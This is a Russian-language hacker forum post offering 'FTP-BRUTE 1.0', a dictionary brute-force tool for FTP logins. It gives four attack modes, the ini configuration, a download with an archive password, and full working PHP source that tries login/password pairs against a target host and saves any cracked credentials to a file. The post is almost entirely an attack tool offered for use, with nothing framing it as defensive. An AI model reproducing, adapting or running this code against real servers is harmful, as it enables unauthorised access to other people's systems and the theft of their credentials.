Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
фтп-брут по словарям, работает в различных режимах: 1 - брут по двум словарям - логинов и паролей (отдельно словарь логинов, отдельно словарь паролей) - неизвестны ни логин, ни пароль 2 - брут по словарю паролей, известен только логин 3 - брут по словарю логинов, известен только пароль 4 - брут по словарю логин/пароль (разделитель любой, кроме ";" и пробела, например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль все настройки задаются в файле ftp.ini:
mode = 3
;0 - брут по двум словарям - логинов и паролей (отдельно словарь логинов, отдельно словарь паролей) - неизвестны ни логин, ни пароль
;1 - брут по словарю паролей, логин нужно внести ниже (известен только логин)
;2 - брут по словарю логинов, пароль нужно внести ниже (известен только пароль)
;3 - брут по словарю логин/пароль (разделитель любой, кроме ";" и пробела, например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль
host = ;фтп-хост
port = 21 ;фтп-порт
login = ;логин (если брут паролей по одному логину)
pass = ;пароль (если брут логинов по одному паролю)
file_pass = passw.txt ;файл-словарь паролей для брута (каждый пароль с новой строки)
file_login = login.txt ;файл-словарь логинов (каждый логин с новой строки)
file_login_pass = log_pass.txt ;файл-словарь логинов/паролей (каждая связка логин/пароль с новой строки)
file_login_pass_del = : ;разделитель между логин/пароль в файле file_login_pass, не может быть ";" или пробелом
file_result = ftp_result.txt ;файл для сохранения результатов
pause = 0 ;пауза между попытками в секундах (если нужно)
timeout = 100 ;таймаут на установление фтп-соединения (обязательный параметр)
kol = 1 ;через какое кол-во попыток выводить инфо на экран
запускается файлом ftpbr.exe (или RUN!!!.cmd) под WIN и файл ftpbr.php под никсами. Скачать всё в одном архиве, пароль - 123 Из особенностей - абсолютно не требователен к оперативной памяти, независимо от размера словарей. Сорцы:
<?php
@set_time_limit(0);
@ini_set("display_errors","0");
ignore_user_abort(1);
echo "\n [[[ FTP-BRUTE 1.0 by Pashkela (c)2009 ]]]";
$ini = parse_ini_file("ftp.ini") or die("ftp.ini not found");
$mode = $ini[mode]; // 0 - брут по двум словарям - логин/пассворд, 1 - брут по словарю паролей, логин нужно внести ниже, 2 - брут по словарю логинов, пароль нужно внести ниже, 3 - брут по словарю логин/пароль (разделитель любой, кроме ";", например root:root, каждая пара с новой строки) - неизвестны ни логин, ни пароль
$host = $ini[host]; // фтп-хост
$port = $ini[port]; // фтп-пароль
$login = $ini[login]; // логин (если брут паролей по одному логину)
$pass = $ini[pass]; // пароль (если брут логинов по одному паролю)
$file_pass = $ini[file_pass]; // файл-словарь паролей
$file_login = $ini[file_login]; // файл-словарь логинов
$file_result = $ini[file_result]; // файл для сохранения результатов
$file_login_pass = $ini[file_login_pass];// файл-словарь логинов/паролей (каждая связка логин/пароль с новой строки)
$file_login_pass_del = $ini[file_login_pass_del];//разделитель между логин/пароль в файле file_login_pass, не может быть ";" или пробелом
$pause = $ini[pause]; // пауза между попытками, если надо
$timeout = $ini[timeout]; // таймаут на установление фтп-соединения
$kol = $ini[kol]; // через какое кол-во попыток выводить инфо на экран
$handle1 = fopen($file_result, "a");
$i = 0;
$s = 0;
// Брут по двум словарям (не знаем ни логина ни пароля):
if ($mode==0) {
$login = '';
$pass = '';
// Brute
echo "\n\n Count logins & passwords, wait please...";
$handle2 = fopen($file_login, "r");
$handle = fopen($file_pass, "r");
while ($buffer = fgets($handle2)) $p++;
fclose($handle2);
echo "\n\n\n$p logins...working\n";
while ($buffer = fgets($handle)) $g++;
fclose($handle);
echo "$g passwords...working\n";
echo "Will brute login|password\n";
echo "at host: <$host> \n";
echo "at port: <$port>\n";
echo "brute info after every <$kol> connections\n";
echo "pause between connections: <$pause> seconds\n";
echo "Working, wait please...\n\n";
$handle2 = fopen($file_login, "r");
while (!feof($handle2)) {
$login = trim(fgets($handle2));
echo "\n will brute password for login <$login> ...";
$handle = fopen($file_pass, "r");
while (!feof($handle)) {
$pass = trim(fgets($handle));
$open = ftp_connect($host,$port,"100"); // сервер, порт, таймаут
if(!ftp_login($open,$login,$pass)) {
$i++;
if ($i==$kol) {
$s = $s+$i;
$i=0;
$w = $g - $s;
echo "\nPass $s connections, remain $w passwords, brute...";
sleep($pause);
}
} else {
echo "\n\n\nSuccess connection!!!! Done.";
echo "\n <<<Login: $login | Password : $pass>>>";
ftp_close($open); // закрываем фтп-соединение
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass". "\r\n");
fclose($handle1);
fclose($handle);
echo "\n\n\n [[[ All results was saved in <$file_result> ]]]";
exit;
}
}
fclose($handle);
$i = 0;
$s = 0;
}
echo "\n\n\n [[[ Sorry, not found ]]]";
fclose($handle1);
fclose($handle2);
}
// Брут по словарю паролей(знаем логин):
if ($mode==1) {
echo "\n\n Count passwords, wait please...";
$handle = fopen($file_pass, "r");
while ($buffer = fgets($handle)) $p++;
fclose($handle);
echo "\n\n\n$p passwords...working\n\n";
echo "Will brute login: <$login>\n";
echo "at host: <$host> \n";
echo "at port: <$port>\n";
echo "brute info after every <$kol> connections\n";
echo "pause between connections: <$pause> seconds\n";
echo "Working, wait please...\n\n";
$pass = '';
// Brute
$handle = fopen($file_pass, "r");
while (!feof($handle)) {
$pass = trim(fgets($handle));
$open = ftp_connect($host,$port,"100"); // сервер, порт, таймаут
if(!ftp_login($open,$login,$pass)) {
$i++;
if ($i==$kol) {
$s = $s+$i;
$i=0;
$w = $p - $s;
echo "Pass $s connections, remain $w passwords, brute...\n";
sleep($pause);
}
} else {
echo "\n\n\nSuccess connection!!!! Done.";
echo "\n <<<Password : $pass>>>";
ftp_close($open); // закрываем фтп-соединение
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass". "\r\n");
fclose($handle1);
fclose($handle);
echo "\n\n\n [[[ All results was saved in <$file_result> ]]]";
exit;
}
}
echo "\n\n\n [[[ Sorry, not found ]]]";
fclose($handle);
fclose($handle1);
}
// Брут по словарю логинов(знаем пароль):
if ($mode==2) {
echo "\n\n Count logins, wait please...";
$handle = fopen($file_login, "r");
while ($buffer = fgets($handle)) $p++;
fclose($handle);
echo "\n\n\n$p logins...working\n\n";
echo "Will brute pass: <$pass>\n";
echo "at host: <$host> \n";
echo "at port: <$port>\n";
echo "brute info after every <$kol> connections\n";
echo "pause between connections: <$pause> seconds\n";
echo "Working, wait please...\n\n";
$login = '';
// Brute
$handle = fopen($file_login, "r");
while (!feof($handle)) {
$login = trim(fgets($handle));
$open = ftp_connect($host,$port,"100"); // сервер, порт, таймаут
if(!ftp_login($open,$login,$pass)) {
$i++;
if ($i==$kol) {
$s = $s+$i;
$i=0;
$w = $p - $s;
echo "Pass $s connections, remain $w logins, brute...\n";
sleep($pause);
}
} else {
echo "\n\n\nSuccess connection!!!! Done.";
echo "\n <<<Login : $login>>>";
ftp_close($open); // закрываем фтп-соединение
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass". "\r\n");
fclose($handle1);
fclose($handle);
echo "\n\n\n [[[ All results was saved in <$file_result> ]]]";
exit;
}
}
echo "\n\n\n [[[ Sorry, not found ]]]";
fclose($handle);
fclose($handle1);
}
// Брут по словарю логин/пароль(не знаем ни логин ни пароль):
if ($mode==3) {
echo "\n\n Count logins" . $file_login_pass_del . "passwords, wait please...";
$login = '';
$pass = '';
$handle = fopen($file_login_pass, "r");
while ($buffer = fgets($handle)) $p++;
fclose($handle);
echo "\n\n\n$p logins" . $file_login_pass_del . "passwords...working\n\n";
echo "Will brute login" . $file_login_pass_del . "password\n";
echo "at host: <$host> \n";
echo "at port: <$port>\n";
echo "brute info after every <$kol> connections\n";
echo "pause between connections: <$pause> seconds\n";
echo "Working, wait please...\n\n";
$buffer = '';
$temp = array();
// Brute
$handle = fopen($file_login_pass, "r");
while (!feof($handle)) {
$buffer = trim(fgets($handle));
$temp = explode($file_login_pass_del,$buffer);
$open = ftp_connect($host,$port,"100"); // сервер, порт, таймаут
if(!ftp_login($open,$temp[0],$temp[1])) {
$i++;
if ($i==$kol) {
$s = $s+$i;
$i=0;
$w = $p - $s;
echo "Pass $s connections, remain $w login" . $file_login_pass_del . "password, brute...\n";
sleep($pause);
}
} else {
echo "\n\n\nSuccess connection!!!! Done.";
echo "\n <<<Login: {$temp[0]} | Password : {$temp[1]}>>>";
ftp_close($open); // закрываем фтп-соединение
fwrite($handle1,"Хост: $host, порт: $port, логин: {$temp[0]}, пароль: {$temp[1]}". "\r\n");
fclose($handle1);
fclose($handle);
echo "\n\n\n [[[ All results was saved in <$file_result> ]]]";
exit;
}
}
echo "\n\n\n [[[ Sorry, not found ]]]";
fclose($handle);
fclose($handle1);
}
?>
|